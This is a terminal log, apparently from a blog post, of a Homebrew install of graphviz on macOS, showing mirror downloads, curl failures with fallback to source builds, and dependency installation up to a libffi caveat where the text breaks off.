<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br></pre></td><td class="code"><pre><code class="hljs shell">brew install graphviz<br>xxx@xxxdeMacBook-Pro ~/Projects/golang/src/github.com brew install graphviz<br>Error:<br> homebrew-core is a shallow clone.<br> homebrew-cask is a shallow clone.<br>To `brew update`, first run:<br> git -C /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core fetch --unshallow<br> git -C /usr/local/Homebrew/Library/Taps/homebrew/homebrew-cask fetch --unshallow<br>These commands may take a few minutes to run due to the large size of the repositories.<br>This restriction has been made on GitHub's request because updating shallow<br>clones is an extremely expensive operation due to the tree layout and traffic of<br>Homebrew/homebrew-core and Homebrew/homebrew-cask. We don't do this for you<br>automatically to avoid repeatedly performing an expensive unshallow operation in<br>CI systems (which should instead be fixed to not use shallow clones). Sorry for<br>the inconvenience!<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libpng-1.6.37.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/freetype-2.10.4.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/fontconfig-2.13.1.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/jpeg-9d.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libtiff-4.1.0_1.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">######################################## 58.1%</span></span><br>curl: (56) LibreSSL SSL_read: SSL_ERROR_SYSCALL, errno 54<br>Error: Failed to download resource "libtiff"<br>Download failed: https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libtiff-4.1.0_1.big_sur.bottle.tar.gz<br>Warning: Bottle installation failed: building from source.<br>==> Downloading https://download.osgeo.org/libtiff/tiff-4.1.0.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/webp-1.1.0.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/gd-2.3.0.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libffi-3.3.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/pcre-8.44.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/glib-2.66.2_1.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">######### 14.5%</span></span><br>curl: (56) LibreSSL SSL_read: SSL_ERROR_SYSCALL, errno 54<br>Error: Failed to download resource "glib"<br>Download failed: https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/glib-2.66.2_1.big_sur.bottle.tar.gz<br>Warning: Bottle installation failed: building from source.<br>==> Downloading https://raw.githubusercontent.com/Homebrew/formula-patches/6164294a75541c278f3863b111791376caa3ad26/glib/hardcoded-paths.diff<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://download.gnome.org/sources/glib/2.66/glib-2.66.2.tar.xz<br>==> Downloading from https://mirrors.ustc.edu.cn/gnome/sources/glib/2.66/glib-2.66.2.tar.xz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/jasper-2.0.22.big_sur.bottle.tar.gz<br>==> Downloading from https://d29vzk4ow07wi7.cloudfront.net/ad3715537b3001b9a8924896e5c4e7eb90b21bb37e7171d964de2008edb13910?response-content-disposition=attachment%3Bfilename%3D%22jasper-2.0.22.big_sur.bo<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/netpbm-10.86.17.big_sur.bottle.tar.gz<br>==> Downloading from https://d29vzk4ow07wi7.cloudfront.net/3540b31b88e9d8fc7288de5dac7b96be6f1c6652c604cfd167113bdf07738ca7?response-content-disposition=attachment%3Bfilename%3D%22netpbm-10.86.17.big_sur.<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/gts-0.7.6_2.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/lzo-2.10.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/pixman-0.40.0.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/cairo-1.16.0_3.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/gdk-pixbuf-2.42.0.big_sur.bottle.tar.gz<br>==> Downloading from https://d29vzk4ow07wi7.cloudfront.net/1819bb48f7487d522a69c564dca6fe5dff4da658269f067e47edccddfaab9440?response-content-disposition=attachment%3Bfilename%3D%22gdk-pixbuf-2.42.0.big_su<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/fribidi-1.0.10.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/pkg-config-0.29.2_3.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/gobject-introspection-1.66.1_1.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/graphite2-1.3.14.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/icu4c-67.1.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/harfbuzz-2.7.2.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/pango-1.48.0.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/librsvg-2.50.2.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">#################### 29.6%</span></span><br>curl: (18) transfer closed with 28187304 bytes remaining to read<br>Error: Failed to download resource "librsvg"<br>Download failed: https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/librsvg-2.50.2.big_sur.bottle.tar.gz<br>Warning: Bottle installation failed: building from source.<br>==> Downloading https://download.gnome.org/sources/librsvg/2.50/librsvg-2.50.2.tar.xz<br>==> Downloading from https://mirrors.ustc.edu.cn/gnome/sources/librsvg/2.50/librsvg-2.50.2.tar.xz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libtool-2.4.6_2.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/graphviz-2.44.1.big_sur.bottle.1.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">##################################### 52.9%</span></span><br>curl: (18) transfer closed with 6363689 bytes remaining to read<br>Error: Failed to download resource "graphviz"<br>Download failed: https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/graphviz-2.44.1.big_sur.bottle.1.tar.gz<br>Warning: Bottle installation failed: building from source.<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/autoconf-2.69.big_sur.bottle.4.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/automake-1.16.3.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/pkg-config-0.29.2_3.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/c393e3a39326eab27929f0f2ce40cb425e78bd8812166e6d835a08a8bf0c5f56--pkg-config-0.29.2_3.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libpng-1.6.37.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/3bd2e2a75fbfc893d9acc20eeafc5274e260ed2ca39483ccbb1450a734bc6775--libpng-1.6.37.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/freetype-2.10.4.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/1399fc577f7998623378e7bb01f8a716a43eff701304059936d592a76d5a4d31--freetype-2.10.4.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/fontconfig-2.13.1.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/3790f4e94c8e7c868307933e3445a1244aadd794adaa6ed5f743533334489f93--fontconfig-2.13.1.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/jpeg-9d.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/7ed5b41c2937740eca747a8077502454971fbbe02cfb5cfbd9b9e7379345d0cd--jpeg-9d.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libtiff-4.1.0_1.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/webp-1.1.0.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/1ae441623b4c63d896b5566300b24c06d772ff9f2676d7c9bd692ff6b8e22edb--webp-1.1.0.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/gd-2.3.0.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/d71eed744db212a24cc7f607842253aacf0e1d25cd7891c884ec7ffc969162ac--gd-2.3.0.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libffi-3.3.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/49892306006d42a1f69ae4b36ff44b37c8e7170f6cf73a20e97f10bf9fa10e72--libffi-3.3.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/pcre-8.44.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/9998b74590fa558f4c346e9770a62495d4aca8e992d0e883435e3574303ee241--pcre-8.44.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/glib-2.66.2_1.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/jasper-2.0.22.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/86ba13e63264cbcafb0dbec9e35960e2662f9e4bde0306bd52984bf487e6581a--jasper-2.0.22.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/netpbm-10.86.17.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/9f8fa63491038e9bb811b03f09660342641c7f8132169bdb3800631d8d2b189e--netpbm-10.86.17.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/gts-0.7.6_2.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/eab94b3870ce0c63232e9a992963c8a32ea53a7efa8a09e639066b40ae0a132b--gts-0.7.6_2.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/lzo-2.10.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/0020e09d8a2c473efa8db2af4b402358f5184578c801c7a7650de6c8bedca06a--lzo-2.10.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/pixman-0.40.0.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/ddf94c89d763f2c63c00ce2090ff16d5abd832ca0e1e9beb2245da3cc159ce41--pixman-0.40.0.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/cairo-1.16.0_3.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/8ad096f68fcc70615ff77f14b50eafbed94e4a261c7860dcda41ba25c7d12f52--cairo-1.16.0_3.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/gdk-pixbuf-2.42.0.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/fb191d15b537de812241fe664f4149209c4d58ce3fbdd5e98a292fe495420f39--gdk-pixbuf-2.42.0.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/fribidi-1.0.10.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/9013c8a0aeb1d2fee9a999ef14adfb2416fef4e8399d87a65d753d44a586427b--fribidi-1.0.10.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/gobject-introspection-1.66.1_1.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/a7f9a1bcb83a7d322e495d163f15b4b8f4d0c05649eeacfcef2681a23b3eb8dd--gobject-introspection-1.66.1_1.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/graphite2-1.3.14.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/5ce053636ab73845d956142cfd518a21701d3ec972e73367d204b81619b8b845--graphite2-1.3.14.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/icu4c-67.1.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/ddca8d436054c0f9c8c333d2e8dd957ccd3902680baf619e4baed434c9806998--icu4c-67.1.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/harfbuzz-2.7.2.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/1aead0f1ab97b4307a9c487a3191213ff63fd200d5eb9be947a11e8ca78df24a--harfbuzz-2.7.2.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/pango-1.48.0.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/eded163bf136aa7a73e07f22c8b16f3a406bbd849b865246a95ee89ecd60aa4e--pango-1.48.0.big_sur.bottle.tar.gz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/librsvg-2.50.2.big_sur.bottle.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">################################################## 71.3%</span></span><br>curl: (18) transfer closed with 11492026 bytes remaining to read<br>Error: Failed to download resource "librsvg"<br>Download failed: https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/librsvg-2.50.2.big_sur.bottle.tar.gz<br>Warning: Bottle installation failed: building from source.<br>==> Downloading https://download.gnome.org/sources/librsvg/2.50/librsvg-2.50.2.tar.xz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/0388827e738392e3705cbb8800e43f279723caf5126ba50c7cd4e1ca5e2af872--librsvg-2.50.2.tar.xz<br>==> Downloading https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles/bottles/libtool-2.4.6_2.big_sur.bottle.tar.gz<br>Already downloaded: /Users/wangpeng/Library/Caches/Homebrew/downloads/59a8e4e9bff6153b4cb25fda4de99648330e04fefdd7e9c98f92fa4d049a9f30--libtool-2.4.6_2.big_sur.bottle.tar.gz<br>==> Downloading https://www2.graphviz.org/Packages/stable/portable_source/graphviz-2.44.1.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">################### 28.5%</span></span><br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> Installing dependencies for graphviz: autoconf, automake, pkg-config, libpng, freetype, fontconfig, jpeg, libtiff, webp, gd, libffi, pcre, glib, jasper, netpbm, gts, lzo, pixman, cairo, gdk-pixbuf, fribidi, gobject-introspection, graphite2, icu4c, harfbuzz, pango, librsvg and libtool<br>==> Installing graphviz dependency: autoconf<br>==> Pouring autoconf-2.69.big_sur.bottle.4.tar.gz<br>🍺 /usr/local/Cellar/autoconf/2.69: 68 files, 3.0MB<br>==> Installing graphviz dependency: automake<br>==> Pouring automake-1.16.3.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/automake/1.16.3: 131 files, 3.4MB<br>==> Installing graphviz dependency: pkg-config<br>==> Pouring pkg-config-0.29.2_3.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/pkg-config/0.29.2_3: 11 files, 656.6KB<br>==> Installing graphviz dependency: libpng<br>==> Pouring libpng-1.6.37.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/libpng/1.6.37: 27 files, 1.3MB<br>==> Installing graphviz dependency: freetype<br>==> Pouring freetype-2.10.4.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/freetype/2.10.4: 64 files, 2.3MB<br>==> Installing graphviz dependency: fontconfig<br>==> Pouring fontconfig-2.13.1.big_sur.bottle.tar.gz<br>==> Regenerating font cache, this may take a while<br>==> /usr/local/Cellar/fontconfig/2.13.1/bin/fc-cache -frv<br>🍺 /usr/local/Cellar/fontconfig/2.13.1: 531 files, 3.6MB<br>==> Installing graphviz dependency: jpeg<br>==> Pouring jpeg-9d.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/jpeg/9d: 21 files, 953.8KB<br>==> Installing graphviz dependency: libtiff<br>==> Pouring libtiff-4.1.0_1.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/libtiff/4.1.0_1: 247 files, 4.2MB<br>==> Installing graphviz dependency: webp<br>==> Pouring webp-1.1.0.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/webp/1.1.0: 39 files, 2.4MB<br>==> Installing graphviz dependency: gd<br>==> Pouring gd-2.3.0.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/gd/2.3.0: 34 files, 1.4MB<br>==> Installing graphviz dependency: libffi<br>==> Pouring libffi-3.3.big_sur.bottle.tar.gz<br>==> Caveats<br>libffi is keg-only, which means it was not symlinked into /usr/local,<br>because macOS already provides this software and installing another version in<br>parallel can cause all kinds of trouble.<br><br>For compilers to find libffi you may need to set:<br> export LDFLAGS="-L/usr/local/opt/libffi/lib"<br> export 